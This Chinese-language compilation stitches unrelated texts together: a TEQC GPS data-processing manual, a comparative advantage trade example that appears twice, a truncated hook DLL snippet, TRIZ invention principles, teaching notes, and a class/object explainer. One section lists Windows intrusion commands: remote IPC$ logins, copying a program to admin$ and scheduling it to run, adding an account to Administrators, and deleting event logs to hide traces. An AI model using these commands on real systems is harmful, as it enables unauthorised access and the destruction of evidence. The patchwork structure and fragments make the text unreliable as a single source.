TEQC经验
第三章TEQC软件介绍
本章首先介绍了TEQC软件的基本功能，包括格式转换、数据编辑、质量检查、单点定位。接着列出了一些TEQC软件的常用命令，并作了详细的注释。
第一节 TEQC功能简介
TEQC（Translate/Edit/QualityCheck/ Coordinate）是由UNAVCO Faclity 研制的为地学研究GPS监测站数据管理服务的公开免费软件，可用于检查双频GPS接收机的动态和静态数据质量。它利用伪距观测值和载波相位观测值的线形组合来进行GPS数据中的误差估计，在快速评定GPS数据质量方面有非常大的优势，一方面速度快，没有繁琐的操作步骤，只用几条简单的命令即可；另一方面能对GPS观测数据进行多角度全方位的质量分析，能分别从卫星高度角、方位角、多路径效应、电离层延迟误差、电离层延迟变化率、信噪比等方面在Qcview配合用图形的形式直观的反映GPS观测数据的质量。
TEQC主要有格式转换（Translate）、数据编辑（Edit）、质量检查（QualityCheck）单点定位（Coordinate）四方面的功能。其中，格式转换可将许多不同厂家的GPS接收机观测文件转换成标准格式RINEX文件；编辑功能可用于对RINEX文件的字头块部分，也可以进行数据文件的任意切割与合并、卫星系统的选择和删减、接收机通道的选择和卫星高度角的设置等；质量检查可以反映出GPS数据的电离层延迟、多路径效应、周跳、信噪比等信息；单点定位则可以粗略计算出点位在WGS-84坐标系中的坐标和在大地坐标系中的坐标。它的四个模块是相互独立、互不影响的，既可以单独使用其中的一个模块，也可以组合使用。它不仅可以处理GPS系统，也可以处理GLONASS系统和GNSS系统。但它也有明显的不足之处：基于DOS界面，对它的操作是建立在命令的基础上，因此要想用好它必须熟悉许多繁杂的命令；能很好的反映观测数据的质量，但在对观测数据的修复改正功能还不是很完善。
第二节 TEQC命令介绍
下面简单介绍TEQC软件的操作格式。TEQC软件的命令格式非常有规律，其基本格式为：teqc{options}[File1 File2…]>File，其中teqc是可执行程序的名字（如teqc.exe），options控制参数，teqc软件包含了三百种左右的参数，可以控制完成各种功能，如格式转换、数据编辑、质量检查、点位坐标计算和帮助等。在参数前总会包含有“＋”或“－”符号，“＋”表示打开某一参数功能，也可以表示输出数据到屏幕（或文件）。“－”表示关闭某一参数功能或输入数据到文件。File1、Fiel2为待处理的数据文件。>File表示把处理结果保存到File中，若File所在目录已有名为File的文件，则覆盖之，否则自动创建名为File的文件。
3.2.1 RINEX格式转换（Translate）
不同的GPS接收机采用不同的数据格式，这给GPS数据处理软件造成了一定的困难，为了解决后处理软件数据的交换和输入格式问题，伯尔尼大学天文研究所提出了独立于接收机类型的数据交换格式RINEX，这一数据格式在科学研究领域得到了广泛的应用。大部分GPS 接收机生产厂家都提供了相应的转换软件，但并非完全标准，在实际使用中，经常遇到格式
不兼容的问题。TEQC软件的格式转换具有很好的通用性和较强的功能，适用于目前较常用的多数GPS接收机，而且还在不断的扩展。它主要是通过读入数据文件的开头部分来自动识别接收机的类型。
目前，TEQC可以转换的接收机数据文件大多是国外比较有名的GPS接收机，比如：美国的AOA、ASHTECH 、MOTOROLA、TRIMBLE、TECOM INDUSRTIES、ROGUE,瑞士的LEICA,加拿大的CMC,瑞士的WILD等，但是却不能识别中国的HD系列接收机和南方的北极星系列接收机。
以TRIMBLE 4700为例，介绍把TRIMBLE 4700接收机所接收到的数据文件转换成RINEX 观测数据文件、导航数据文件和气象文件，其他类型的接收机转换与之类似。命令格式如下：（注意TEQC区分大小写，所以我们在写命令时一定要注意。）
teqc -tr do -week 1323 +nav trimbel.05n trimbel.dat > trimbel. 05o
式中, -tr 指明接收机的类型为trimble;do 指明输入文件为Dat 文件、输出为RINEX 观测数据文件(o文件) ; -week 1323 (可选) 指明观测日期对应的GPS 周数,或以年/ 月/ 日方式表示(即上述命令也可以表示成teqc -tr do -week 2005／05／18 +nav trimbel.05n trimbel.dat > trimbel. 05o); +nav 指明同时输出RINEX 导航数据文件;转换结果文件为观测数据文件trimbel.05o 和导航文件trimbel.05n。
其中，上述命令的控制参数设置项根据GPS种类的不同可自行设置，常用的GPS类型对应的控制参数如下：
表3－1 常用GPS对应的设置项
3.2.2数据编辑
TEQC具有强大的数据编辑功能。下面将把其主要的编辑功能命令逐一介绍：
一、头文件的编辑
RINEX的观测数据文件（*.??o）、导航数据文件(*.??n)和气象数据文件(*.??m)的文件头部分均可利用TEQC 软件进行设置和更改,还可添加新的注释行且原有的注释行保持不变。利用TEQC 软件对RINEX观测数据文件（*.??o）的字头块部分进行设置和更改的格式为:
teqc -O.* “” input file > output file
teqc -O.mo good trimble.05o > temptrimble.05o
式中,-O.mo good 指明将文件的“测站名”记录更改为“good”, temptrimble.05o 为更改后输出的RINEX 观测数据文件。在这里必须重新设置输出文件名,即不能与被处理文件trimble.05o 同名,否则输出文件为空文件。
除了可更改测站名外，还可以修改其他信息。其他常用的设置项如表3－2所示。
表3-2 o5文件常用设置项
文件的设置项以-N. 开头,气象数据文件以-M. 开头,而观测文件是以-O. 开头。
二、RINEX文件的切割
在我们进行GPS数据观测时，一般情况下刚开始一段时间的观测数据精度较差，所以对观测数据文件中时间的选取就势在必行。在TEQC中，利用时间窗可对RINEX文件进行任意的切割，使得对RINEX文件的提取相当容易。时间窗的设置常采用一下几种格式：
1.[start] +d[ Y,M ,d ,h ,m ,s ] 指定以RINEX文件开始观测时间为上限的时间间隔+d[ Y,M ,d ,h ,m ,s ]。若提取的时间段以年（月/日/小时/分钟/秒）为单位则控制参数应为dY（dM/dd/dh/dm/ds),例如提取trimble中前10个小时的数据命令格式如下：
teqc +dh 10 timble.05o>trimble10.05o
2.-d[ Y,M ,d ,h ,m ,s ] [ end ] 指定以RINEX 文件结束观测时间为下限的时间间隔-d[ Y,M ,d ,h ,m ,s ]的数据。
3.-st [ YYMMddhhmmss[ . sss ?] ] [end] 指定时间窗上限-st [ YYMMddhhmmss[ . sss ?] ] ,默认以RINEX文件结束观测时间为下限。
4.[start]-e[YYMMddhhmmss[ . sss ?] ] 指定时间窗的下限- e[] ,默认以RINEX文件开始观测时间为上限。
5.[ YYMMddhhmmss[ . sss ?] ] - e [ YYMMddhhmmss[ . sss ?] ]，提取时间段st [ YYMMddhhmmss[ . sss ?] ]到e[ YYMMddhhmmss[ . sss ?] ]的观测数据。如：要想提取trimble中10~13点的数据，命令如下：
teqc -st 20040420100000 -e 20040420120000 trimble.05o>trimble1012.05o
6.-st[ YYMMddhhmmss[ . sss ?] ] + d[ Y,M ,d ,h ,m ,s ],提取从st[ YYMMddhhmmss[ . sss ?] ]开始顺延d[ Y,M ,d ,h ,m ,s ]时间的数据信息。
三、RINEX文件的合并
TEQC既然可以对RINEX进行切割，就可以对其进行合并。但要注意的是要合并的文件除了要求是RINEX格式外，还必须实在时间上连续的文件。合并的命令格式如下：teqc>file1 file2…>myfile
表示把file1，file2…合并为myfile并输出。
四、卫星系统的选择和特定卫星的禁用
对于GPS/GLONASS双星接收机,可以使用TEQC 进行卫星的选用,如去掉GLONASS 卫星数据的指令是: teqc - R 输入文件> 输出文件；禁用prn # 的GPS 卫星的观测数据指令是: teqc - G # 输入文件> 输出文件。其中prn ＃为卫星的编号。
五、设置卫星高度角
电离层延迟、多路径效应、接收机噪声是影响GPS数据质量的主要因素，在进行对流层和电离层延迟分析时,需要考虑低高度角卫星,用如下指令可以设置卫星高度角限值。命令格式为：teqc -set-mask x 输入文件> 输出文件。
如要把trimble.05o中卫星的高度角限值设为15度，命令为：teqc -set-mask 15 trimble.05o>trimble15.05o。
六、设置观测值类型
GPS/ GLONASS 的观测值类型一般用L 1 ( L 1载波相位) 、L 2 ( L 2载波相位) 、C1 ( L 1的C/ A 码伪距) 、P1 ( L 1的P 码伪距) 、P2 ( L 2的P 码伪距) 、D1 ( L 1的多普勒观测值) 、D2 ( L 2的多普勒观测值) 表示, 选取并按指定顺序形成RINEX文件的指令是: teqc -O. obs“观测值类型”输入文件> 输出文件,应用格式如下：
teqc -O. obs“L1L2P1P2”trumble. 05o > trumblell. new
七、卫星范围的设定
在用GPS接收机的采集数据的时候，用户可以自行设定接收卫星的最大编号。命令格式为：teqc –n_GPS ＃ file1>file2。若接收数据中有大于设定的卫星编号，则此组数据将被删除。＃的范围是0<#<256,默认的卫星编号为32。
teqc –n_GLONASS # file1>file2 设定期望的GLONASS卫星的最大编号。若接收数据中有大于设定的卫星编号，则此组数据将被删除。其中：＃的范围是0<#<256,默认的编号为24。
teqc –n_gssp # file1>file2 设定期望的gssp卫星的最大编号，若接收数据中有大于设定的卫星的编号，此组数据同样也会被删除。＃的范围是0<#<256,默认的期望卫星最大编号为51。
八、接收机通道的设定
命令解析：teqc +ch file1>file2 用GPS接收机的所有的通道（默认）
teqc -ch # file1>file2 禁用gps接收机的＃频道
九、多路径误差的有关设置
在TEQC中，可以对多路径效应进行相应的设置。主要有：
1．多路径效应的开启和关闭
开启多路径效应的命令格式为：teqc ＋ma file1>file2
关闭多路径效应的命令格式为： teqc -ma file1>file2
2．多路径误差的均值设定
L1的期望的多路径误差均值设定命令：teqc –mp1_rms # file1>file2
L2的期望的多路径误差均值设定命令：teqc –mp2_rms # file1>file2
其中，＃是以厘米为单位的，L1的默认值为50cm，L2的默认值为65cm
3．平均移动点数
命令：teqc –mp_win # file1>file2.其中0<#<65536,默认为50
十、信噪比的设定
载波L1上允许的最小信噪比设定： teqc –min_L1 # FILE1 >FILE2
载波L2上允许的最小信噪比设定： teqc –min_L2 # FILE1 >FILE2
其中：0<#<9,默认为0
十一、电离层的有关设定
电离层设定有电离层延迟变化率和电离层延迟误差两个方面。命令分别如下：
1．电离层延迟。命令：teqc –ion_jump ＃ file1>file2 设置电离层延迟的最大值为＃cm，默认为1.00e＋035。
2．电离层变化率。命令：teqc –iod_jump # file1>file2 设置电离层延迟变化率为＃cm，默认为400cm/m。
十二、GPS采样间隔的设定
在GPS测量中，一般观测间隔设定为5s或30s，设定格式如下：
teqc –O.int # file1>file2 其中＃>0
十三、观测文件的信息查询
1.teqc +config file通过此命令可以看到观测文件file 的各项设置。包括：GPS 的频道设置，GPS、GLONASS、GLNASS卫星的编号设定，卫星周等信息。
2．teqc ＋meta file 通过此命令可显示观测文件的名称，大小，始末历元，采样率，测站名，站点编号，天线编号，天线类型，天线在大地坐标系中的坐标，天线高，接收机编号，接收机类型，坐标系等信息。
十四、各种GPS接收机、天线类型的查询
我们可以通过命令 teqc ＋igs得到目前全世界范围内最流行的GPS接收机类型及天线类型。
十五、 TEQC 软件输出中的符号说明
在teqc程序中，我们常可以看到各种各样的符号。而通过命令teqc ++sym 可以查看各种符号代表的意义。
十六、帮助信息
我们要想熟练使用任何软件，帮助信息必不可少，它可以帮助我们快速掌握我们所需的知识。在TEQC中弹出帮助信息的命令如下：
teqc ＋help
通过此命令，我们不但可以看到teqc软件中的全部命令，而且他有英文注释，可以知道各具体命令的功能。
3.2.3质量检核（QualityCheck）
TEQC应用软件的数据质量检查功能可以处理静态或动态双频GPS和GLONASS导航定位系统的接收数据。只有单点数据并且包含广播星历信息才能进行数据质量检查，主要利用了伪距和载波相位观测值的线性组合方法。
根据是否利用导航文件信息，TEQC分为qc2lite和qc2full两种检核方式。
一、qc2lite 方式
如果输入文件只有RINEX 观测数据文件而没有导航数据文件,那么TEQC 将会在qc2lite 方式下运行。如运行teqc + qc trimble. 05o , TEQC 则对文件trimble. 05o 在qc2lite 方式下进行质量检核。通常在缺省状态下,质量检核的结果会生成报告文件trimble. 05s 和数据文件trimble.ion (电离层延迟误差) 、trimble. iod(电离层延迟变化率) 、trimble.mp1 ( L 1载波C/ A 码或P 码伪距的多路径影响) 、trimble.mp2 ( L 2载波P 码伪距的多路径影响) 、trimble.sn1 ( L 1载波的信噪比) 、trimble.sn2( L 2载波的信噪比)。
二、qc2full 方式。
如果输入文件为RINEX观测数据文件和导航数据文件,运行teqc +qc -nav trimble.05n trimble.05o ;或者导航数据文件和观测数据文件在同一目录下,则TEQC 会自动搜索导航数据文件,而无需用-nav 指定,即运行teqc + qc trimble. 05o ,此时TEQC 则对文件trimble.05o 在qc2full 方式下进行质量检核。检核的结果除qc2lite方式下的报告文件和数据文件外,还增添了卫星和接收机天线的位置信息以及两个数据文件trimble. azi (方位角)和 trimble. ele(高度角)。
报告文件trimle.05s称之为质量汇总文件，包括有各个接受卫星的数据质量状态。其中的参数信息有：
一、信息总结。有各颗卫星的接收数据情况，观测时间，文件名，首历元、末历元，GPS 天线在WGS-84中的坐标，在大地坐标系中的坐标，采样率，没捕捉到的卫星数目及编号，在RINEX中的期望观测值数，采集百分比，多路径平均误差，平均移动点数，始终漂移，探测到的周跳数，卫星两个高度角之间的观测值数目信息。
二、观测统计量。如平均多路径误差，总平均高度角，周跳数目等。
三、QC设置参数。如接收机的通道最大值，电离层延迟变化率的最大允许值，期望的平均多路径误差等。
数据文件又成为视图文件，在GPS数据质量检核中，除汇总文件外的所有文件，通称为视图文件。生成的视图文件如下表所示：
表3－3 GPS质量检查中生成的视图文件后缀及其含义
我们可以利用软件QCVIEW对数据质量检查结果进行分析，使得观测数据的质量在图像
上得到直观的反映。
3.2.4各历元伪距单点定位计算（coordinate）
虽然TEQC是一专业的GPS数据预处理软件，但是也可进行各历元伪距的单点定位。计
算单点在空间坐标系中的坐标命令格式如下：
teqc +qc +eepx trimble.05o>trimblexyz.xyz
计算单点在大地坐标系中的坐标命令格式如下：
teqc ＋qc +eepg trimble.05o>trimblebl.xyz
注意：虽然在上述命令中没有用到导航文件（.N），但是在所进行操作的目录下必须有导航
文件，否则会显示： The instruction at 0x0043fe01 referenced memory at 0x0000000c. The memory could not be read。错误信息，不能运行上述命令。
第四章 TEQC处理实例
在本例中，将对2004年4月14日使用TRIMBLE 4700类型的3台接收机观测1小时的
数据cann105a.dat,irym105a.dat,melb105a.dat进行处理（在此我们仅对cann105a.dat
的处理给出详细说明，其他两个观测文件的处理过程与此相同），过程如下：
一、格式转换
1.首先用命令：teqc –tr do –week 1266 +nav cann105a.04n cann105a.dat >cann105a.04o 将cann105a.dat文件转换成标准文件RINEX的格式。通过本命令后，将会生成观测文件cann105a.04o和导航文件cann105a.04n。
二、质量检查
在转换生成RINEX文件的同时就可以编辑RINEX文件的数据，当然也可以在生成RINEX
文件后在进行编辑。在此，由于TEQC的各个模块就独立的，我们就暂时跳过这一步，直接
查看观测数据的质量，然后对数据进行适当的编辑。
使用命令teqc +qc cann105a.04o进行质量检核。运行此命令后，将会生成cann150a.mp1,cann150a.mp2,cann150a.sn1,cann150a.sn2,cann150a.ele,cann150a.azi,c ann150a.iod,cann150a.ion,cann150a.04s等文件。
1．汇总文件cann150a.04s的有关信息。用word程序打开cann150a.04s，我们可以看
到观测文件的名称为cann105a.04o，观测时间段为2004年4月14日00：00：00到00：59：55.001，接收机接收到的卫星编号及质量，天线在空间坐标系中的坐标x: -4346271.2673 y: 2595234.2754 z:3867368.9447 (m)以及在大地坐标系中的坐标-37.564855 deg 149.157839 deg 158.5777 m，采样的时间间隔为5秒，接收到11颗卫星的信号，没有接收
到的卫星编号分别为 2 5 6 7 9 10 11 12 14 15 17 18 21 22 23 25 26 28 29 30 32 ，卫星高度角的限值为10o，观测值总数为7842个，其中高度角
大于10o的有5338个，高度角大于10o但由于其他误差超限而被删除的观测值有194个，载
波在L1上的多路径误差均值为0.071614 m，在L2上的均值为 0.113825 m，平均移动点数
为50个，最大的电离层延迟率为400.00 cm/min，L1的期望多路径平均值为50.00cm，L2的期望多路径平均值为65.00cm，以5o为单位各个高度角范围内的观测值数目分别为：
85 - 90 0 0 0.000000
80 - 85 0 0 0.000000
75 - 80 0 0 0.000000
70 - 75 115 0 0.013890
65 - 70 396 0 0.025700
60 - 65 369 0 0.018057
55 - 60 336 0 0.030205
50 - 55 294 0 0.034133
45 - 50 219 0 0.046327
40 - 45 441 0 0.041733
35 - 40 482 0 0.044777
30 - 35 387 0 0.064248
25 - 30 289 0 0.071027
20 - 25 617 0 0.085342
15 - 20 643 0 0.124734
10 - 15 742 1 0.144828
5 - 10 281 0 0.114023
0 - 5 0 0 0.000000
二、视图文件查看
1．查看卫星高度角命令：qcview cann105a.ele 。图4－1是第19颗卫星的高度角曲线图，从图中我们可以看出它的高度角变化范围为0～19o之间，图4－2是第13颗卫星的高度角曲线图，从图中得知它的变化范围为50～74o之间。
2．查看卫星方位角命令：qcview cann105a.azi。从图4－3中我们可以看出第13颗卫星的方位角变化范围为－140～170o之间，而从图4－4中看出第19颗卫星的方位角变化范围为40～60o之间。
3．查看卫星的多路径误差命令：qcview cann105a.mp1（查看载波L1上的多路径误差）命令：qcview cann105a.mp2（查看载波L2上的多路径误差）。从图4－5我们可以看出第19颗卫星在L1上的多路径误差MP1的变化范围为-30～50cm，从图4－7可以看出第19颗卫星在L2 上的多路径误差变化范围为-2.5～1.0m，说明此颗卫星多路径误差影响较大。从图4－6可以得知第13颗卫星在L1上的多路径误差范围为-10～10cm。,而从图4－8中可得知第13颗卫星在L2上的多路径误差变化范围为-0.1～0.1m，说明此颗卫星的多路径误差比较小。
4.查看电离层延迟误差命令：qcview cann105a.ion 。从图4－9可以看出第19颗卫星的电离层延迟误差，其值在-0.3～3m之间，并且在第560历元处探测到一个“I”周跳。从图4－10中可以看到第13颗卫星的电离层延迟误差为-00.1～0.3。从中我们不难看到卫星19的电离层延迟误差大于卫星13的电离层误差。
5．查看电离层延迟变化率命令：qcview cann105a.iod。从图4－11我们很容易看出第19颗卫星的电离层延迟变化率为-0.9～1.0之间，在第560个历元处同样也有一个“I”标记。从图14可以看出第13颗卫星的电离层延迟变化率为-0.1～0.1之间，变化幅度相当小。
6．查看信噪比命令：qcview cann105a.sn1 (sn2)。第19颗卫星的信噪比在1-6之间，第13颗卫星的信噪比在8－9之间。
比较优势理论实例
比较优势理论实例 假设世界上只有两个国家：英国和葡萄牙，只有两种产品：呢绒和酒，生产一单位的呢绒英国需要投入100单位劳动，葡萄牙则需要90单位，生产一单位酒，英国需投入120单位劳动，葡萄牙需要投入80单位劳动。投入不变情况下共生产出2单位呢绒和2单位酒。 英国在生产酒和呢绒上劳动投入都比葡萄牙多，但生产呢绒所投入的劳动是葡萄牙的1.1倍（100/90），酒却是1.5倍（120/80），表明英国在两种产品的生产都处于绝对劣势，但是在呢绒上的效率比酒要高，也就是说应该在呢绒上具有比较优势。从机会成本角度看，生产一单位的呢绒的产量需要放弃100/120的酒，生产1单位酒需要放弃120/100单位的呢绒，生产呢绒机会成本小，而葡萄牙生产一单位呢绒需要放弃90/80的酒，90/80大于100/120，因而英国在生产呢绒上具有比较优势。 从葡萄牙的角度，生产呢绒的投入是英国的90%（90/100），在酒上67%（80/120），说明葡萄牙在两种商品的生产上都具有绝对优势，但是在就的生产上具有更大的优势，也就是葡萄牙在酒的生产上具有比较优势。从机会成本角度看，葡萄牙生产一单位的酒的产量需要放弃80/90的呢绒，生产1单位呢绒需要放弃90/80单位的酒，生产酒机会成本小，而英国生产一单位酒需要放弃120/100的呢绒，80/90大于120/100，因而葡萄牙在生产酒上具有比较优势。 现在让英国和葡萄牙进行分工，各自生产自己具有比较优势的产品，英国生产呢绒而葡萄牙生产酒，英国可以生产出的2.2单位的（220/100）呢绒，葡萄牙可以生产2.125单位（170/80）的酒。这样分工生产的结果是两种产品产量都高于分工前。 假定英国以1单位的呢绒换取葡萄牙1单位的酒，那么英国可以多消费0.2单位的呢绒，而葡萄牙可以多消费0.125单位的酒。 结论：实行国际分工使两国可增加各自具有比较优势的产品的产量，通过贸易增加了两国的国内消费量，双方都有利。 意义：任何一个国家无论经济上强或弱，无论它处于什么发展阶段，都可以确定自己具有比较优势的产品，安排生产，进行贸易，使贸易双方都可以用同样的劳动耗费，得到比分工前更多的产品。 多边贸易和多种产品 在现实生活中，国际贸易大多是由多个国家参加的，相互之间交换多种产品，在这种复杂的环境下，比较优势是否还起作用？ 第一种情况：多个国家，两种产品的贸易 在多个国家都生产两种产品的情况下，贸易模式取决于各国各自的价格优势 假设5个国家参加国际贸易，各国生产一单位产品的成本如表
hook的使用实例
在网上找了好久都没有找到消息hook的实例，下面是我的例子给大家分享一下 下面是dll中的代码： //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //我的经验，编译的时候会提示DllMain，已在DllMain.cpp中定义，把DllMain.cpp从源文件里删掉就好了 #include "stdafx.h" #include
比较优势理论实例
比较优势理论实例 分工前分工后 呢绒酒呢绒酒英国的劳动投入 100 120 220 葡萄牙的劳动投入 90 80 170 总产量 2 2 2.2（220/100） 2.215（170/80） 假设世界上只有两个国家：英国和葡萄牙，只有两种产品：呢绒和酒，生产一单位的呢绒英国需要投入100单位劳动，葡萄牙则需要90单位，生产一单位酒，英国需投入120单位劳动，葡萄牙需要投入80单位劳动。投入不变情况下共生产出2单位呢绒和2单位酒。英国在生产酒和呢绒上劳动投入都比葡萄牙多，但生产呢绒所投入的劳动是葡萄牙的 1.1倍（100/90），酒却是1.5倍（120/80），表明英国在两种产品的生产都处于绝对劣势，但是在呢绒上的效率比酒要高，也就是说应该在呢绒上具有比较优势。从机会成本角度看，生产一单位的呢绒的产量需要放弃100/120的酒，生产1单位酒需要放弃120/100单位的呢绒，生产呢绒机会成本小，而葡萄牙生产一单位呢绒需要放弃90/80的酒，90/80大于100/120，因而英国在生产呢绒上具有比较优势。 从葡萄牙的角度，生产呢绒的投入是英国的90%（90/100），在酒上67%（80/120），说明葡萄牙在两种商品的生产上都具有绝对优势，但是在就的生产上具有更大的优势，也就是葡萄牙在酒的生产上具有比较优势。从机会成本角度看，葡萄牙生产一单位的酒的产量需要放弃80/90的呢绒，生产1单位呢绒需要放弃90/80单位的酒，生产酒机会成本小，而英国生产一单位酒需要放弃120/100的呢绒，80/90大于120/100，因而葡萄牙在生产酒上具有比较优势。 现在让英国和葡萄牙进行分工，各自生产自己具有比较优势的产品，英国生产呢绒而葡萄牙生产酒，英国可以生产出的2.2单位的（220/100）呢绒，葡萄牙可以生产2.125单位（170/80）的酒。这样分工生产的结果是两种产品产量都高于分工前。 假定英国以1单位的呢绒换取葡萄牙1单位的酒，那么英国可以多消费0.2单位的呢绒，而葡萄牙可以多消费0.125单位的酒。结论：实行国际分工使两国可增加各自具有比较优势的产品的产量，通过贸易增加了两国的国内消费量，双方都有利。 意义：任何一个国家无论经济上强或弱，无论它处于什么发展阶段，都可以确定自己具有比较优势的产品，安排生产，进行贸易，使贸易双方都可以用同样的劳动耗费，得到比分工前更多的产品。
40条发明原理的应用实例
40条发明原理的应用实例 序号 原理名 实例 1 分割 A.物体分成不同的部分以实现分离。实例：多格的快餐盒可以实现对于菜肴同时需要干或湿的要求。 B.物体分成容易组装和拆卸的部分。实例：组合家具，具有大立柜、五斗柜、食品柜、书柜、写字台等功能，能合能分，方便摆设等。圆珠笔笔芯和笔壳等。 C.提高物体的可分性。实例：活动百叶窗，以叶片的凹凸方向来阻挡外界视线，采光的同时,阻挡了由上至下的外界视线夜间,叶片的凸面向室内的话,影子不会映显到室外。 2 抽取 A. 从物体中抽出产生负面影响的部分或属性。实例:用金属线与埋在地下的一块金属板连接起来，利用金属棒的尖端放电，使云层所带的电和地上的电逐渐中和，从而不会引发事故。 B. 从物体中抽出必要的部分或属性。实例：用光纤或光波导分离主光源，以增加照明点。用狗的叫声做警报而不用真的养一条小狗。 3 局部性能 A. 将均匀的物体结构或外部环境改为不均匀的。实例：将系统的温度、密度、压力由恒定值改为按一定的斜率增长。 B. 让物体的不同部分各具不同功能。实例：瑞士军刀（带多种常用工具，如螺丝起子，尖刀，剪刀等）。 C. 让物体的各部分处于各自动作的最佳状态。实例：在餐盒中设置间隔，在不同的间隔内放置不同的食物，避免相互影响味道。
4 不对称 A. 将对称物体变为不对称。实例：引入一个几何特性来防止元件不正确的使用，不对称搅拌叶片加强搅拌，两脚插头再增加一脚后提高稳定性。 B. 已经是不对称的物体，增强其不对称的程度。实例：为改善密封性，将O型密封圈的截面由圆形改为椭圆形，为增强防水保温性，建筑上采用多重坡屋顶。 5 合并；（组合） A. 在空间上将相同或相近的物体或操作加以组合。实例：集成电路板上的多个电子芯片，并行计算的多个CPU，火车车厢等。 B. 在时间上将物体或操作连续化或并列进行。实例：冷热水混和龙头，百叶窗的窄条连接起来，电话的拿起与接通。 6 通用 （普遍性） A. 使物体具有复合功能以替代其他物体的功能。实例：牙刷的把柄内装牙膏，键盘可以打字也可以打游戏，可打印复印扫描的一体机，门铃和烟气报警器组合等。 7 套装 A. 把一个物体嵌入第二个物体，然后将这两个物体再嵌入第三个物体……实例：俄罗斯嵌套娃娃，一筒纸杯。 B. 让某物体穿过另一物体的空洞。实例：伸缩式天线，伸缩式镜头，雨伞柄，液压装置等。 8 重量补偿
比较成功的案例
比较成功的案例《保护环境的基本国策》 教学目标：了解我国的环境问题及其表现，了解我国环境的总体现状，知道如何处理经济建设与保护环境之间的关系。 教学预设：1、让学生搜集我国环境问题的突出事例2、我们身边存在的环境问题3、思考我们可以为保护环境做点什么。 教学过程： 导入：先出示几张环境优美的图片和几张环境遭到严重污染与破坏的图片，在学生谈一谈身处不同环境中的不同感受中引入本课。 首先，让学生出示自己预先搜集到的材料，并在小组内进行交流，并让小组代表发言。学生们由于在课下准备的比较充分，发言都比较积极，且材料也比较有代表性。然后让学生观察我们身边存在的环境问题，同学们举得例子有乱扔垃圾、乱砍滥伐、大量使用农药化肥、白色垃圾泛滥等，从中可以看出，学生观察的比较细致。在让学生回答如何以自己的行动保护环境时，学生都能积极发言。在学生发言的基础上老师给以适当的归纳总结。 在这堂课上，学生的积极性始终保持高涨，顺利达到教学的预期效果。 不够理想的案例《对外开放的基本国策》 教学目标：认识对外开放的必要性及在对外开放过程中应注意的问题。 教学预设：1、让学生搜集我国历史上对外开放与闭关锁国的不同时期及其对我国的影响。2、通过学生自读课文，在小组讨论的基础上总结对外开放的原因及应注意的问题。 教学过程： 首先让学生展示自己搜集和总结的相关资料，我在巡视的过程中发现许多学生搜集的资料大多是现代的，而对于古代的相关资料涉及的很少，很难形成鲜明的对比。因此在学生展示资料的过程中我加以引导，让我国不同时期采取的不同政策及其影响比较鲜明的呈现于学生面前，让学生认识到对外开放的必要性。在让学生探讨第二个预设时，学生基本能够按照课本说出相关的内容，但在有关内容理解上有一定的困难，如“引进来”与“走出去”的意思、独立自主与自力更生的关系等，需要老师给以解释。 在这堂课上，虽然达到了预期效果，但学生在自学和探讨的过程中存在着一定的困难，需要老师实时给以点拨和引导。 关于如何提高运用教学机智能力，我觉得教学机智能力的形成和提高，首先要以丰富的知识为前提。包括精深的专业知识、渊博的文化知识等。其次要有敏锐的观察力，从学生的一举一动一个表情，判断出学生可能存在的问题，提前生成应对之策。再有就是练就较强的表达能力，简明、扼要、幽默、文雅的语言更能化解突如其来的问题。教学机智能力的形成不是一蹴而就，需要在学习和实践的基础上不断总结和积累 成功案例 由于学生的认知水平有限，九年级第三课初级阶段基本国情的内容对于学生来说理解起来有一定的困难。所以教学过程中情景式、合作式和讲授法相结合的教学方法，利用多媒体展示了大量的形象生动的素材，教学效果不错。首先第一个知识点“中国的国际地位和国际形象”，用多媒体展现了近几年来我国经济、政治、文化、科技、体育等各方面的有代表性的实例，当看完之后，学生们马上就对当今的祖国的国际地位和影响力有了正确的认识，自豪之情溢于言表，这时我马上提出问题“这些成就是不是就说明我们是发达国家了，我们有不足吗”来引起学生的思考。接下来把学生分成小组来找不足，通过发言总结学生客观上认
操作指示命令
网管和黑客都必须知道的命令!看了不要做坏事! （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:"" （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator" （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序\\IP地址\admin$ （查看远程主机时间） net time \\IP地址 （定时启动某个程序） at \\IP地址 02:18 readme.exe （查看共享） net view \\IP地址 （查看netbios工作组列表） nbtstat -A IP地址 （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
（这两条把自己增加到管理员组）： net user 用户名密码/add net localgroup Administrators 用户名 /add （断开连接） net use \\IP地址\ipc$ /delete ===================================================== 擦屁屁： del C:\winnt\system32\logfiles\*.* del C:\winnt\system32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt
类,对象,实例
这样子同你说吧。类，他就是讲的一个种类。不懂？OK，比如人类。 这个“人”他们都有思维，都有眼睛鼻子等等共同的特征。他就叫做一个类。叫做“人类”。 还有“植物类”，这个“植物”它们都有根，叶子等等共同的特征。它就叫做一个类。 “张三”是个人，他只是人类中的一个特例，我们就把他叫做一个具体的对象。也就是C#中的对象。 一句话说完了，类都是一群对象的集合，里面包含了N多的对象。而对象只是类的一个特例。比如学校里有1000个学生，然后校长在广播里面喊：请张三同学到校长室来一下。这时候“李四，王五，赵六”等等听到广播，就知道，校长叫的是张三，而不是自己。所以张三李四王五这些都是这个学生类的一些特例（也就是一个个对象），他们除了有眼睛鼻子思维这些共同的特征之外，还有其他不同的地方，例如名字就是不同的。这样子比较通俗了吧。 实例就是“张三”这个名字。比如Student stu = new Student();stu就是一个实例。这个stu他就已经被实例化了。表示他是这个Student类里的一个对象。new他是为了把他实例化，让电脑内存知道，现在已经存在一个这样的对象了，然后你就可以使用这个对象了。
